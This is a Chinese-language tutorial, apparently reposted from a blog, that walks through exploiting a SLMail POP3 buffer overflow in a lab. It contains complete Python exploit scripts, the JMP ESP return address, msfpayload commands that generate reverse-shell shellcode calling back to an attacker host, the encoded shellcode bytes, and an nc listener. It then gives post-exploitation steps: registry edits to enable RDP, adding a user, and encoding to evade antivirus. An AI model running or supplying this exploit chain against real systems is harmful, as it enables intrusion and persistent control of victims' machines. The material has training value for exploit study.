    buffer = 'A' * 2606+'B'*4+'C'*20
    将前2606个字符替换为A,之后4个替换为B,再之后的20个字符替换为C,确认是否可以精确的把BBBB写入EIP寄存器。
    #!/usr/bin/python
    import socket
     
    s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    buffer = 'A' * 2606+'B'*4+'C'*20
     
    try:
    print "\nSending evil buffer..."
    s.connect(("192.168.199.199",110))
    data = s.recv(1024)
    s.send("USER test"+"\r\n")
    data = s.recv(1024)
    s.send("PASS "+buffer+"\r\n")
    print "\nDone!."
    except:
    print "Could not connect to POP3!"
    执行结果显示EIP为42424242,转换为字母就是BBBB,20个C精准被填入ESP.
    思路:将EIP修改为shellcode代码的内存地址,将shellcode写入到该地址空间,程序读取EIP寄存器数值,将跳转到shellcode代码段并执行。
    # 寻找可存放shellcode的内存空间(考虑ESP),修改EIP使其指向ESP所在的shellcode内存空间。
     
    06.py【手动修改C数值,判断内存空间大小是否能放一下shellcode,假设ESP寄存器可放3500】
    buffer = 'A' * 2606+'B'*4+'C'*(3500-2606+4) 让C去填满ESP的内存空间,判断C的个数。
    #!/usr/bin/python
    import socket
     
    s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    buffer = 'A' * 2606+'B'*4+'C'*(3500-2606+4)
     
    try:
    print "\nSending evil buffer..."
    s.connect(("192.168.199.199",110))
    data = s.recv(1024)
    s.send("USER test"+"\r\n")
    data = s.recv(1024)
    s.send("PASS "+buffer+"\r\n")
    print "\nDone!."
    except:
    print "Could not connect to POP3!"
    # 选择ESP,右键:follow in dump
    右键--Hex--Hex/ASCII 16bytes,使用每行16个字节来显示,这样可以方便查看。
    # ESP起始地址为:0167A154 终止地址为:0167A2F4
    # 使用科学计算器,windows下,calc->查看->科学型->十六进制,因为所有的地址的前5位都一致,因此使用结束地址0167A2F4的后三位2F4减去开始地址0167A154的后三位154,结果再转化为十进制,得结果为416
    # 最小的shellcode为300字节左右,因此ESP足够放下一个shellcode。
    # 在做模糊测试过程中,因为不同类型的程序、协议、漏洞,会将某些字符认为是坏字符,,这些字符有固定用途。如:null byte (0x00)空字符,用于终止字符串的拷贝操作;return (0x0D)回车操作,表示POP3 PASS指令操作完毕。
    注:返回地址、shellcode、buffer都不能出现坏字符
     
    07.py【思路:发送0x00-0xff 256个字符,查找所有的坏字符】
    即二进制数00000000---11111111,共有256种组合。
    0 --- 255
    #!/usr/bin/python
    import socket
     
    s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    badchars = (
    "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x09\x0b\x0c\x0d\x0e\x0f\x00"
    "\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x10"
    "\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x20"
    "\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x30"
    "\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\4e\x4f\x40"
    "\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x50"
    "\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x60"
    "\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x70"
    "\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x80"
    "\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\x90"
    "\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xa0"
    "\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xb0"
    "\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xc0"
    "\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xd0"
    "\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xe0"
    "\xe1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\xf0"
    )
     
    buffer = "A"*2606 + "B"*4 + badchars
     
    try:
    print "\nSending evil buffer..."
    s.connect(("192.168.199.199",110))
    data = s.recv(1024)
    s.send("USER test"+"\r\n")
    data = s.recv(1024)
    s.send("PASS "+buffer+"\r\n")
    print "\nDone!."
    except:
    print "Could not connect to POP3!"
    # 右键follow in dump
    # 此字符后,数据显示异常,则该字符(0A)可能有问题,进行下一步验证
    修改0A为某一正常字符如09,重新发送验证,
    0A替换为09可正常运行。
    # 验证得0A 为坏字符 ;0D为坏字符不出现,缩进一格,全部检查,发现00也被过滤,则可发现该实验中坏字符为:0x00 0x0D 0x0A
    重定向数据流,用ESP的地址替换EIP的值,但是ESP的地址是变化的,不能使用硬编码。在SLMali线程应用程序中,操作系统为每个线程分配一段的地址范围,每个线程地址范围不确定
     
    变通思路:在内存地址中寻找固定的系统模块,在模块中寻找JMP ESP指令的地址跳转,再由该指令间接跳转到ESP,从而执行shellcode。利用mona.py脚本识别内存模块,搜素“return address”是JMP ESP指令的模块,寻找无DEP、ALSP保护的内存地址【内存地址不能包含坏字符】{从EIP跳到JMP ESP,再跳到ESP}
     
    #输入!mona modules 查找模块【选择前四个模块为false,最后一个OS dll为true】
    !mona modules
    这里我们主要关注Rebase,true表示重启后内存地址值改变,false表示重启后内存地址不变。
    safeSEH和ASLR是计算机内存保护机制。理想的环境内存保护机制都是false。
    OS dll:操作系统动态连接库,表示可运行在任意系统中,若为false则可能在其他系统中不能运行
     
    JMP ESP是汇编指令,需要使用kali将其转换为二进制。
    root@kali:~# cd /usr/share/metasploit-framework/tools/exploit/
    root@kali:/usr/share/metasploit-framework/tools/exploit# ./nasm_shell.rb
    !mona find -s "\xff\xe4" -m openc32.dll【在该进程模块查找是否有执行JMP ESP的命令】
    【JMP ESP为汇编指令,需转换为二进制指令FFE4】
    # nasm_shell.rb脚本的作用就是用来转换汇编指令
    openc32.dll进程模块中没有可以执行JMP ESP的命令
     
    !mona find -s "\xff\xe4" -m MFC42LOC.dll 还是不支持!
     
    继续查找并尝试
     
    ok,SLMFC.DLL支持执行JMP ESP的命令,并且有20个内存地址可以执行。
     
    双击打开一个内存地址,右键---Disassemble将16进制切换为汇编语言,
    可以看到16进制FFE4对应的汇编JMP ESP。
     
     
    打开内存地图,找到SLMFC模块的基地址5F400000,可以看到该内存中存放的是一个pe文件头。
    5F401000存放code
     
    给5F4B41E3设置断点,当运行到此处中断程序的执行。
    选择内存地址---右键---breakpoint---memory,on access---开启运行程序
     
    08.py【验证断点是否正常跳转】
    # 因为计算机读取数据为翻转【为跳转地址】
    5F4B41E3,内存里面存放数据时完全反转进行放置的,即:E3 41 4B 5F
    buffer = 'A' * 2606 + "\xe3\x41\x4b\x5f" + "C" *390
     
    #!/usr/bin/python
    import socket
     
    s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    buffer = 'A' * 2606 + "\xe3\x41\x4b\x5f" + "C" *390
     
    try:
    print "\nSending evil buffer..."
    s.connect(("192.168.199.199",110))
    data = s.recv(1024)
    s.send("USER test"+"\r\n")
    data = s.recv(1024)
    s.send("PASS "+buffer+"\r\n")
    print "\nDone!."
    except:
    print "Could not connect to POP3!"
     
    当执行内存5F4B41E3时遇到断点!
     
    EIP指定了5F4B41E3地址,该地址会跳转到SLMFC模块里的JMP ESP指令,
     
    F7:程序调试过程中的单步向前运行的指令
     
    01AFA154,该地址中存放的都是C.
     
    # 将脚本里的shellcode替换成shellcode,则可获得控制
    Shellcode
    可用Scapy编写,也可用./msfpayload -l 自动生成shellcode【该工具中含有大量针对各种系统的shellcode】
    # 正向开后门基本杜绝,要进行反向开后门
    root@kali:~# cd /usr/share/framework2/
    root@kali:/usr/share/framework2# ./msfpayload win32_reverse LHOST=192.168.199.112 LPORT=444 C
    "\xfc\x6a\xeb\x4d\xe8\xf9\xff\xff\xff\x60\x8b\x6c\x24\x24\x8b\x45"
    "\x3c\x8b\x7c\x05\x78\x01\xef\x8b\x4f\x18\x8b\x5f\x20\x01\xeb\x49"
    "\x8b\x34\x8b\x01\xee\x31\xc0\x99\xac\x84\xc0\x74\x07\xc1\xca\x0d"
    "\x01\xc2\xeb\xf4\x3b\x54\x24\x28\x75\xe5\x8b\x5f\x24\x01\xeb\x66"
    "\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb\x03\x2c\x8b\x89\x6c\x24\x1c\x61"
    "\xc3\x31\xdb\x64\x8b\x43\x30\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x40"
    "\x08\x5e\x68\x8e\x4e\x0e\xec\x50\xff\xd6\x66\x53\x66\x68\x33\x32"
    "\x68\x77\x73\x32\x5f\x54\xff\xd0\x68\xcb\xed\xfc\x3b\x50\xff\xd6"
    "\x5f\x89\xe5\x66\x81\xed\x08\x02\x55\x6a\x02\xff\xd0\x68\xd9\x09"
    "\xf5\xad\x57\xff\xd6\x53\x53\x53\x53\x43\x53\x43\x53\xff\xd0\x68"
    "\xc0\xa8\xc7\x70\x66\x68\x01\xbc\x66\x53\x89\xe1\x95\x68\xec\xf9"
    "\xaa\x60\x57\xff\xd6\x6a\x10\x51\x55\xff\xd0\x66\x6a\x64\x66\x68"
    "\x63\x6d\x6a\x50\x59\x29\xcc\x89\xe7\x6a\x44\x89\xe2\x31\xc0\xf3"
    "\xaa\x95\x89\xfd\xfe\x42\x2d\xfe\x42\x2c\x8d\x7a\x38\xab\xab\xab"
    "\x68\x72\xfe\xb3\x16\xff\x75\x28\xff\xd6\x5b\x57\x52\x51\x51\x51"
    "\x6a\x01\x51\x51\x55\x51\xff\xd0\x68\xad\xd9\x05\xce\x53\xff\xd6"
    "\x6a\xff\xff\x37\xff\xd0\x68\xe7\x79\xc6\x79\xff\x75\x04\xff\xd6"
    "\xff\x77\xfc\xff\xd0\x68\xf0\x8a\x04\x5f\x53\xff\xd6\xff\xd0";
     
    因为该shellcode不能存在坏字符,所以我们需要对坏字符进行过滤。
    ./msfencode -b【编码工具,可将病毒的特征字符编得面目全非,一定程度上可以实现免杀】
    root@kali:/usr/share/framework2# ./msfpayload win32_reverse LHOST=192.168.199.112 LPORT=444 C | ./msfencode -b "\x00\x0a\x0d"
    root@kali:/usr/share/framework2# ./msfpayload win32_reverse LHOST=192.168.199.112 LPORT=444 R | ./msfencode -b "\x00\x0a\x0d"
    [*] Using Msf::Encoder::PexFnstenvMov with final size of 310 bytes
    "\x6a\x48\x59\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xeb\xa3\x98".
    "\x39\x83\xeb\xfc\xe2\xf4\x17\xc9\x73\x74\x03\x5a\x67\xc6\x14\xc3".
    "\x13\x55\xcf\x87\x13\x7c\xd7\x28\xe4\x3c\x93\xa2\x77\xb2\xa4\xbb".
    "\x13\x66\xcb\xa2\x73\x70\x60\x97\x13\x38\x05\x92\x58\xa0\x47\x27".
    "\x58\x4d\xec\x62\x52\x34\xea\x61\x73\xcd\xd0\xf7\xbc\x11\x9e\x46".
    "\x13\x66\xcf\xa2\x73\x5f\x60\xaf\xd3\xb2\xb4\xbf\x99\xd2\xe8\x8f".
    "\x13\xb0\x87\x87\x84\x58\x28\x92\x43\x5d\x60\xe0\xa8\xb2\xab\xaf".
    "\x13\x49\xf7\x0e\x13\x79\xe3\xfd\xf0\xb7\xa5\xad\x74\x69\x14\x75".
    "\xfe\x6a\x8d\xcb\xab\x0b\x83\xd4\xeb\x0b\xb4\xf7\x67\xe9\x83\x68".
    "\x75\xc5\xd0\xf3\x67\xef\xb4\x2a\x7d\x5f\x6a\x4e\x90\x3b\xbe\xc9".
    "\x9a\xc6\x3b\xcb\x41\x30\x1e\x0e\xcf\xc6\x3d\xf0\xcb\x6a\xb8\xe0".
    "\xcb\x7a\xb8\x5c\x48\x51\x2b\x0b\x5f\x49\x8d\xcb\x99\x85\x8d\xf0".
    "\x11\xd8\x7e\xcb\x74\xc0\x41\xc3\xcf\xc6\x3d\xc9\x88\x68\xbe\x5c".
    "\x48\x5f\x81\xc7\xfe\x51\x88\xce\xf2\x69\xb2\x8a\x54\xb0\x0c\xc9".
    "\xdc\xb0\x09\x92\x58\xca\x41\x36\x11\xc4\x15\xe1\xb5\xc7\xa9\x8f".
    "\x15\x43\xd3\x08\x33\x92\x83\xd1\x66\x8a\xfd\x5c\xed\x11\x14\x75".
    "\xc3\x6e\xb9\xf2\xc9\x68\x81\xa2\xc9\x68\xbe\xf2\x67\xe9\x83\x0e".
    "\x41\x3c\x25\xf0\x67\xef\x81\x5c\x67\x0e\x14\x73\xf0\xde\x92\x65".
    "\xe1\xc6\x9e\xa7\x67\xef\x14\xd4\x64\xc6\x3b\xcb\x68\xb3\xef\xfc".
    "\xcb\xc6\x3d\x5c\x48\x39";
     
    09.py【“0x90”表示无操作,防止shellcode前部分代码被擦除】
    #!/usr/bin/python
    import socket
     
    s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
     
    shellcode = (
    "\x6a\x48\x59\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xeb\xa3\x98"+
    "\x39\x83\xeb\xfc\xe2\xf4\x17\xc9\x73\x74\x03\x5a\x67\xc6\x14\xc3"+
    "\x13\x55\xcf\x87\x13\x7c\xd7\x28\xe4\x3c\x93\xa2\x77\xb2\xa4\xbb"+
    "\x13\x66\xcb\xa2\x73\x70\x60\x97\x13\x38\x05\x92\x58\xa0\x47\x27"+
    "\x58\x4d\xec\x62\x52\x34\xea\x61\x73\xcd\xd0\xf7\xbc\x11\x9e\x46"+
    "\x13\x66\xcf\xa2\x73\x5f\x60\xaf\xd3\xb2\xb4\xbf\x99\xd2\xe8\x8f"+
    "\x13\xb0\x87\x87\x84\x58\x28\x92\x43\x5d\x60\xe0\xa8\xb2\xab\xaf"+
    "\x13\x49\xf7\x0e\x13\x79\xe3\xfd\xf0\xb7\xa5\xad\x74\x69\x14\x75"+
    "\xfe\x6a\x8d\xcb\xab\x0b\x83\xd4\xeb\x0b\xb4\xf7\x67\xe9\x83\x68"+
    "\x75\xc5\xd0\xf3\x67\xef\xb4\x2a\x7d\x5f\x6a\x4e\x90\x3b\xbe\xc9"+
    "\x9a\xc6\x3b\xcb\x41\x30\x1e\x0e\xcf\xc6\x3d\xf0\xcb\x6a\xb8\xe0"+
    "\xcb\x7a\xb8\x5c\x48\x51\x2b\x0b\x5f\x49\x8d\xcb\x99\x85\x8d\xf0"+
    "\x11\xd8\x7e\xcb\x74\xc0\x41\xc3\xcf\xc6\x3d\xc9\x88\x68\xbe\x5c"+
    "\x48\x5f\x81\xc7\xfe\x51\x88\xce\xf2\x69\xb2\x8a\x54\xb0\x0c\xc9"+
    "\xdc\xb0\x09\x92\x58\xca\x41\x36\x11\xc4\x15\xe1\xb5\xc7\xa9\x8f"+
    "\x15\x43\xd3\x08\x33\x92\x83\xd1\x66\x8a\xfd\x5c\xed\x11\x14\x75"+
    "\xc3\x6e\xb9\xf2\xc9\x68\x81\xa2\xc9\x68\xbe\xf2\x67\xe9\x83\x0e"+
    "\x41\x3c\x25\xf0\x67\xef\x81\x5c\x67\x0e\x14\x73\xf0\xde\x92\x65"+
    "\xe1\xc6\x9e\xa7\x67\xef\x14\xd4\x64\xc6\x3b\xcb\x68\xb3\xef\xfc"+
    "\xcb\xc6\x3d\x5c\x48\x39")
     
    buffer = 'A' * 2606 + "\xe3\x41\x4b\x5f" + "\x90" * 8 + shellcode
     
    try:
    print "\nSending evil buffer..."
    s.connect(("192.168.199.199",110))
    data = s.recv(1024)
    s.send("USER test"+"\r\n")
    data = s.recv(1024)
    s.send("PASS "+buffer+"\r\n")
    s.close()
    print "\nDone!."
    except:
    print "Could not connect to POP3!"
    本地侦听 nc -nvlp 444
    发送shellcode,成功接收到回连的shell
    # 可完美地重复连接,但有些shellcode执行结束会以exitprocess方式退出整个进程,将导致邮件服务奔溃,会引起管理员注意,不过新版本的metasploit已经进行优化。
     
    ##因Slmail是一个基于线程的应用,使用ExitThread方式可以避免整个服务崩溃,可是实现重复溢出
    ./msfpayload win32_reverse LHOST=192.168.1.127 EXITFUNC=thread LPORT=444 R | ./msfencode -b "\x00\x0a\x0d"
    ############################################################################################
    对命令行模式的getshell不适应,可进入图形化界面
    1、在此基础上ftp下载一个图形化木马管理程序
    2、使用RDP打开windows系统的远程桌面【可通过修改注册表键值】
    cmd命令行下开启3389
    C:\>echo Windows Registry Editor Version 5.00>3389.reg
    C:\>echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server]>>3389.reg
    C:\>echo "fDenyTSConnections"=dword:00000000>>3389.reg
    C:\>echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp]>>3389.reg
    C:\>echo "PortNumber"=dword:00000d3d>>3389.reg
    C:\>echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp]>>3389.reg
    C:\>echo "PortNumber"=dword:00000d3d>>3389.reg
    C:\>regedit /s 3389.reg
    C:\>shutdown -r now
     
     
    ##在kali上安装远程桌面
    apt-get install rdesktop
    rdesktop 192.168.199.199
     
    ####
    可在命令行窗口模式下修改用户密码,或增加用户和密码获得管理权限
    net user test pass /ad
     
    打开防火墙的3389端口,也可以用修改注册表来实现【windows系统下几乎所有操作都可用修改注册表来实现】
     
    ##可使用regsnap【进行注册表实现现状快照,可通过比较修改注册表前后键值变化,找出具体目标,动作需快速】
     
    在xp下安装ptp
    运行---appwiz.ctl---添加删除windows组件
     
    交互式shell
    nc获得的是非交互性shell,ftp无法执行
    使用tftp

     

    转载于:https://www.cnblogs.com/micr067/p/11396874.html

    展开全文
  • linux下缓冲区溢出实例

    千次阅读 2013-01-22 22:49:50
    最近一段时间,在网上搜索关于缓冲区溢出攻击的文章,实验了一下,成功实现了缓冲区溢出攻击,现在把过程记录下来。   #include #include void hello() { printf("hello\n"); } int fun(char *str) {...
  • 原理:crossfire 1.9.0 版本接受入站 socket 连接时存在缓冲区溢出漏洞。 工具: 调试工具:edb; ###python在漏洞溢出方面的渗透测试和漏洞攻击中,具有很大的优势 实验对象:crossfire【多人在线RPG游戏】 运行...
  • 原理:crossfire 1.9.0 版本接受入站 socket 连接时存在缓冲区溢出漏洞。 工具: 调试工具:edb; ###python在漏洞溢出方面的渗透测试和漏洞攻击中,具有很大的优势 实验对象:crossfire【多人在线RPG游戏】 ...
  • 缓冲区溢出 缓冲区溢出:http://www.cnblogs.com/fanzhidongyzby/archive/2013/08/10/3250405.html
  • 这段代码是《黑客防线2009缓冲区溢出攻击与防范》溢出原理的例子,书中有一句话我始终没有想透,原话是:当执行strcpy函数时,程序将256字节的字符拷入到buffer中,但buffer仅能容乃16字节,buffer后的250字节的内容...
  • 我的开发环境 操作系统:windows xp professional + sp1a 编译器:visual c++.net 2003 由于操作系统的补丁太多,即使与我相同的系统也可能需要修改LoadLibrary、GetProcAddress、VirtualAlloc和"jmp esp"指令的...
  • Linux系统下穿越火线-缓冲区溢出 原理:1.9.0 版本接受入站 socket 连接时存在缓冲区溢出漏洞。 工具:调试工具:edb; 实验对象:crossfire 运行平台:Kali i686 虚拟机【32位,计算机CPU位数是指地址总线,64位...
  • 缓冲区溢出攻击实例

    2013-12-20 09:02:14
    缓冲区溢出攻击及防范实例,网络攻击与防御课程使用
  • BufferOverflow缓冲区溢出攻击原理实例源代码,Visual C++6.0环境下调试通过
  • 在关闭缓冲区溢出保护后进行编译:(Ubuntu 12.04 32位,gcc版本4.6.3) gcc -fno-stack-protector -z execstack -o pwd.out pwc.c 在命令行输入 ./pwd.out运行, 发现输入:11111111、12344444等字符串时会提示密码...
  • 点击上方蓝色字体,关注...都是傲娇的孩子,只卖呆萌的价格,一套煎饼果子就能带走他1栈缓冲区溢出概述 缓冲区溢出是一种历史悠久的攻击手段,在1988爆发的Morris worm就使用缓冲区溢出作为其中一种攻击手段.简单定义
  • 1 缓冲区溢出原理缓冲区是一块连续的计算机内存区域,可保存相同数据类型的多个实例。缓冲区可以是堆栈(自动变量)、堆(动态内存)和静态数据区(全局或静态)。在C/C++语言中,通常使用字符数组和malloc/new之类内存...
  • 缓冲区溢出(Buffer Overflow)是计算机安全领域内既经典而又古老的话题。...本文参考该书对缓冲区溢出原理的讲解,并结合实际的代码实例进行验证。不过即便如此,完成一个简单的溢出代码也需要...
  • 缓冲区溢出代码实例总结

    千次阅读 2016-07-09 11:36:22
    尝试修改EIP,控制执行路径 buf数组溢出后,从文件读取的内容会在当前栈帧沿着高地址覆盖,而该栈帧的顶部存放着返回上一个函数的地址(EIP),只要覆盖了该地址,就可以修改程序的执行路径。 为此,需要知道从文件...
  • 缓冲区溢出学习的入门教程,深入浅出,非常容易理解。比较详细,从基础讲起,用实例分析,适合新手入门学习。
  • 缓冲区溢出

    2018-05-03 18:48:31
    缓冲区溢出攻击 缓冲区溢出(Buffer Overflow)是计算机安全领域内既经典而又古老的话题。...本文参考该书对缓冲区溢出原理的讲解,并结合实际的代码实例进行验证。不过即便如此,完成一个简单...

空空如也

空空如也

1 2 3 4 5 ... 16
收藏数 309
精华内容 123
关键字:

缓冲区溢出实例